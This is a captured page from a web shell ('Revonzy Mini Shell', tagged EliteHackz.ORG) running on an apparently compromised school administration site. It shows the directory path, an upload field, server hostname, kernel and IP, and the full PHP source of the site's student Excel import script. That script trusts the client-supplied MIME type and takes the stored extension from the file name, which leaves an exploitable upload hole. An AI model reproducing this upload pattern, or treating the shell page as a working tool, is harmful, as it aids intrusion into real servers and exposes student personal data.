Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/www/spmsolapur.org/mis_software/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/www/spmsolapur.org/mis_software/upload-student-excel-data.php

<?php
require_once('header.php');

require_once('header-left-section.php');
$success_flag="";
$attachement_error="";
?>
<style>
 .form-control
{
	background-color:#FFF !important;
}
h1
{
	text-align:center;
	color:#101566;
	font-weight:bold;
	
}
.content
{
	margin:10px;
}
</style>
 <!-- Content Wrapper. Contains page content -->
  <div class="content-wrapper"  >
    <!-- Content Header (Page header) -->
    <section class="content-header">
      <div class="container-fluid">
        <div class="row mb-2">
          <div class="col-sm-12">
            <h1>IMPORT STUDENT EXCEL DATA</h1>
          </div>
          
        </div>
      </div><!-- /.container-fluid -->
    </section>
	
    <!-- Main content -->
	 
 <form method="POST" autocomplete="off" action="<?php echo $_SERVER['PHP_SELF'] ?>" enctype="multipart/form-data" >
    <div class="form-group col-lg-12" style="min-height:700px;">
	<section class="content">
      <div class="row">
        <div class="col-md-12">
          <div class="card card-primary">

			<?php
				if($success_flag==1)
				{
			?>
				
				<div class="alert alert-success">
				<span class="alert-link">Success! </span>Record added successfully.
				</div>	
			<?php
				}
			?>
					
			<?php
				if($success_flag==2)
				{
			?>
				
				<div class="alert alert-danger">
				<span class="alert-link">Failed! </span>This Record Already Exist.
				</div>	
			<?php
				}
			?>
					
          <div class="card-body">
            <div class="row">
			<div class="form-group col-lg-6">
				<label>Select File:</label>
				<input type="file" class="form-control" name="file" placeholder=" Enter photoimg."  required autofocus />
				<label class="error_indicator"><?php  echo $attachement_error; ?></label>	
			</div>
						
			<div class="form-group col-lg-6" style="text-align:center;">
				<label>-</label> <br />
				<button type="submit" class="btn btn-success" name="save_btn" style="width:30%;">Upload Excel</button>
			</div>
		</div>   
<?php
	error_reporting(E_ERROR | E_PARSE);
	  include 'Classes/PHPExcel/IOFactory.php';

	if(isset($_POST['save_btn']))
	{
		
	?>
	<div style="width:800px; background-color:white; margin:auto;">
	<table class="table table-bordered">
		<thead class="col_head">
			<th class="col_head"width="50">Sr. No</th>
			<th class="col_head"width="100">GR No</th>
			<th class="col_head" width="200">Status</th>
	</thead>
	<tbody>
	<?php
				 
			$file_name = $_FILES['file']['name']; 	
					 // Move file to a temp location
			$uploadDir = 'upload/';

			$img_ext = substr($file_name,-4);
			$name="_".rand(10000,990000).$img_ext;
			$uploadFile = $uploadDir.$name;
				
			$mimes = array('application/vnd.openxmlformats-officedocument.spreadsheetml.sheet','application/vnd.ms-excel','text/plain','text/csv');
			
			if(in_array($_FILES['file']['type'],$mimes)){
				// do something
					
					if(file_exists($uploadFile))
					{
						echo "4";
					}
					else
					{
						
						if(move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile))
						{
							set_include_path(get_include_path() . PATH_SEPARATOR . 'Classes/');
							//$cnt=1;    
							/** PHPExcel_IOFactory */
							$objPHPExcel = PHPExcel_IOFactory::load($uploadFile);
							$sheetData = $objPHPExcel->getActiveSheet()->toArray(null,true,true,true);
							$linecount = count($sheetData);
							echo "\t <tr> \n";
							 for($i = 1; $i <= count($sheetData) ; $i++) {
			//                     for($j = 65; $j < (count($sheetData[$i])+65); $j++) {
			//                         if(!is_null($sheetData[$i][chr($j)])){
			//                             echo $sheetData[$i][chr($j)]."---".$sheetData[$i][chr($j+1)]."<br>";
									// }
			//                     }
			
								$arr = $sheetData[$i];
								$arrVals = array_values($arr);
								
								$class				=	$arrVals[0];
								$medium				=	$arrVals[1]; 
								$division			=	$arrVals[2]; 
								$roll_no			=	$arrVals[3];   
								$surname			=	$arrVals[4];
								$stud_name			=	$arrVals[5];
								$father_name		=	$arrVals[6];
								$mother_name		=	$arrVals[7];//1
								$father_contact		=	$arrVals[8];
								$mother_contact		=	$arrVals[9];
								$residential_no		=	$arrVals[10];
								$address			=	$arrVals[11];
								$cor_address		=	$arrVals[12];
								$child_desc			=	$arrVals[13];
								$email				=	$arrVals[14];
								$aadhar_number		=	$arrVals[15];
								$religion			=	$arrVals[16];
								$caste				=	$arrVals[17];
								$category			=	$arrVals[18];
								$mother_tongue		=	$arrVals[19];
								$nationality		=	$arrVals[20];//2
								$birth_place		=	$arrVals[21];
								$birth_district		=	$arrVals[22];
								$birth_states		=	$arrVals[23];
								$birth_country		=	$arrVals[24];
								$birth_date			=	$arrVals[25];
								$gender				=	$arrVals[26];
								$last_school		=	$arrVals[27];
								$admission_date		=	$arrVals[28];
								$remarks			=	$arrVals[29];
								$no_of_pupil		=	$arrVals[30];
								$stud_id_for_lc		=	$arrVals[31];//3
								$certificate_no		=	$arrVals[32];
								$progress			=	$arrVals[33];
								$conduct			=	$arrVals[34];
								$leaving_school_date=	$arrVals[35];
								$standard_sinse_when=	$arrVals[36];
								$leaving_school_reason=$arrVals[37];
								$stud_contact		=	$arrVals[38];
								$sub_caste			=	$arrVals[39];
			
			
			$blood_group		=	"";
			$height				=	"";
			$weight				=	"";
			$actual_image_name	=	"";
			$actual_image_name1	=	"";
			$actual_image_name2	=	"";
			$advertising_board	=	"";
			$news_paper			=	"";
			$teachers			=	"";
			$friends			=	"";
			$ex_students		=	"";
			$pre_class			=	"";
			$other				=	"";
			$qualification		=	"";
			$occupation			=	"";
			$monthly_income		=	"";
			$office_add			=	"";
			$residential_add	=	"";
			$mother_qualifi		=	"";
			$mother_occupation	=	"";
			$mother_resident_add=	"";
			$gr_no				=	"";
			
			$gr_exsit = $db->get_student_gr_id($class,$medium,$division,$surname,$stud_name,$father_name,$father_contact,$no_of_pupil);
		
			if($gr_exsit=="")
			{
				//echo $class;
				//echo "<br />";	
				//echo "<br />";	
				if($inserted_id=$db->save_student_detail($class,$medium,$division,$roll_no,$surname,$stud_name,$father_name,$mother_name,$acd_year))
				{
					echo "<td>".$i."</td><td>".$no_of_pupil."</td><td><span style='color:Green;'>Record added successfully</span></td>";

					
				}
				if($db->update_student_data1($stud_contact,$father_contact,$mother_contact,$residential_no,$address,$cor_address,$child_desc,$email,$aadhar_number,$religion,$caste,$category,$mother_tongue,$nationality,$inserted_id))
				{
					//echo "<td>".$stud_contact."</td>  Success </td>";
				}
				
				if($db->update_student_data2($birth_place,$birth_district,$birth_states,$birth_country,$birth_date,$gender,$last_school,$admission_date,$remarks,$no_of_pupil,$stud_id_for_lc,$inserted_id))
				{
						//echo "<td>".$birth_district."</td>  Success </td>";
				}
				if($db->update_student_data3($certificate_no,$progress,$conduct,$leaving_school_date,$standard_sinse_when,$leaving_school_reason,$inserted_id,$sub_caste))
				{
						//echo "<td>".$inserted_id."</td>  Success </td>";
				}
				else
					{
						echo "<td>".$x."</td> <td>".$roll_no."</td> <td>".$surname." ".$stud_name."</td><td style='color:Orange'> Failed to update</td>";
						$total_not_updated	=	$total_not_updated + 1;
					}
			}
			else
			{
				echo "<td>".$i."</td><td>".$no_of_pupil."</td><td><span style='color:red;'>Registration GR No already exist</span></td>";

			}
									
			echo "\t</tr>\n";						
							}
							 echo "<script>
									alert('Uploaded Successfully');
								</script>";           
							
						}
					  
					}
					
			} 
		?>
		</tbody>
		</table>
		</div>
		<?php
		}			
		?>		
<label style="color:red;"><b>Note :</b></label><br /><br />
			<p>
			1. Download the given excel file.<br /><br />
			2. Fill Up The All Student Details ..<br /><br />
			3. Its complusory to upload the same Excel Format as given in below link.
			</p>
			<center><a href="upload-format.xls" style="color:green; font-weight:bold; font-size:20px;">Download Excel File</a></center>	
	</div>
   </div>
 </div>
 </div>
 </section>
 </div>
 </form>
  <?php
require_once('footer.php');
?> 

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4